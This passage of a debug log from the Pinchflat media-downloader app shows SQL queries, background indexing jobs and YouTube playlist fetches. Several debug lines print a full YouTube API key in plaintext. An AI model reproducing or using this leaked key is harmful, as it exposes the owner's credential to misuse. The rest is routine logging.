m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 17:27:40.007 [debug] QUERY OK source="tasks" db=0.1ms idle=124.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800221, 23, ~U[2026-02-10 23:27:40Z], ~U[2026-02-10 23:27:40Z]] 17:27:40.008 [info] {"args":{"id":23},"id":3800182,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":126081,"event":"job:stop","queue_time":555233,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:41.885 [info] {"args":{"id":10},"id":3800183,"meta":{},"system_time":1770766061885102599,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:41.885 [info] {"args":{"id":34},"id":3800184,"meta":{},"system_time":1770766061885144957,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:41.885 [debug] QUERY OK source="sources" db=0.2ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 17:27:41.885 [debug] QUERY OK source="sources" db=0.2ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 17:27:41.885 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:41.885 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:41.886 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:41.886 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:41.886 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:41.886 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:41.886 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 17:27:41.886 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 17:27:41.886 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:41.886 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:41.886 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:41.886 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:42.004 [debug] QUERY OK source="media_items" db=0.6ms idle=117.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 17:27:42.006 [debug] QUERY OK source="media_items" db=0.9ms idle=119.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 17:27:42.007 [debug] QUERY OK source="tasks" db=0.1ms idle=120.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800222, 34, ~U[2026-02-10 23:27:42Z], ~U[2026-02-10 23:27:42Z]] 17:27:42.007 [info] {"args":{"id":34},"id":3800184,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":121933,"event":"job:stop","queue_time":446918,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:42.122 [debug] QUERY OK source="media_items" db=0.7ms idle=114.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "zPAY2VxfFBk", "Qr4anBkL2_A", "LXmNeVLM4e4", "vZdbbN3FCzE", "DqAKQwagCDg", "PTd98UnJnnU", "TVsounscj4U", "HLUamwXQ218", "Jh9pFp1oM7E", "v-sCZN3FbR0", "NC1nzXq6Rh4", "trsHTKqmZOk", "sfyL4BswUeE", "Mb6H7trzMfI", "Qqyp00JPJZI", "KW21q_7U6Ao", "n4Xe6yQ1jIs", "RvP-uVNwnXo", "jrzK4xL_W4Q", "2MdQWo9fHZs", "j31dmodZ-5c", "PTf_Z8A2Usc", "v5lc7UAAats", "rU9aqBv0YdY", "rZMMySvsKAA", "xIFkrVU5Krk", "eou_g_cYCew", "Tl8RS0sR-qA", "F1zYatpqNSc", "GAdT6gYE54U", "rng_yUSwrgU", "q0aFOxT6TNw", "tDARtYjUiHs", "7gtc1DW2Tgo", "s0EbxhQYeCA", "GB0b6KFZVq0", "idEAABFzpfg", "_yOTYsFlRQY", "XUdic3Mwd2k", "oeHtfMFdzIY", "i63u-iAnhuk", "eCR17sBh-Qw", "269OsrzG3Ew", "-7X5KukvABc", "We2ZD0-IXPM", "AphNalSmvlk", "FXrcFeuYtq8", "rCllEeHXjUw", "bMou1qUMHC4", ...] 17:27:42.124 [debug] QUERY OK source="media_items" db=2.0ms idle=115.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 17:27:42.125 [debug] QUERY OK source="tasks" db=0.1ms idle=111.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800223, 10, ~U[2026-02-10 23:27:42Z], ~U[2026-02-10 23:27:42Z]] 17:27:42.125 [info] {"args":{"id":10},"id":3800183,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":240386,"event":"job:stop","queue_time":534992,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:42.885 [info] {"args":{"id":9},"id":3800185,"meta":{},"system_time":1770766062885773574,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:42.885 [info] {"args":{"id":8},"id":3800186,"meta":{},"system_time":1770766062885805303,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:42.886 [debug] QUERY OK source="sources" db=0.1ms idle=760.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 17:27:42.886 [debug] QUERY OK source="sources" db=0.1ms idle=760.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 17:27:42.886 [debug] QUERY OK source="settings" db=0.0ms idle=754.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:42.886 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:42.886 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:42.886 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:42.886 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:42.886 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 17:27:42.886 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:42.886 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 17:27:42.886 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:42.886 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:42.886 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:42.886 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:43.058 [debug] QUERY OK source="media_items" db=0.6ms idle=171.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", "i41gbn5zmqc", "KRhofr57Na8", "1IotjpIZvAg", "v1FNHkt0ISk", "RkX6iRhYOEM", "eW8ZNkuLhZw", "9IiYOTzJ2uw", "paHr1oLaqJ4", "aL6P0ChwcHg", "iQJfOkDUvJM", "1QAmBamacU4", "qr1AvisQcV8", "tt_l_-5_8WU", "RYeNu159Sgc", "pzRH6JbphrI", "EfSw0_OxCGY", "PtIChOU86Xs", "0rVF_cl9trE", "g6tlNyr5sl8", "SUnNPS3rBXk", "f7hHtuS7ygY", "qyIzUOVG840", "U1MigIJXJx8", "IQJL3htsDyQ", "sLy-x38ILZE", "p7f8oR5ELwk", ...] 17:27:43.059 [debug] QUERY OK source="media_items" db=0.6ms idle=172.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 17:27:43.060 [debug] QUERY OK source="tasks" db=0.1ms idle=173.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800224, 9, ~U[2026-02-10 23:27:43Z], ~U[2026-02-10 23:27:43Z]] 17:27:43.060 [info] {"args":{"id":9},"id":3800185,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":174768,"event":"job:stop","queue_time":538739,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:43.158 [debug] QUERY OK source="media_items" db=0.6ms idle=97.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 17:27:43.159 [debug] QUERY OK source="media_items" db=0.4ms idle=98.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", 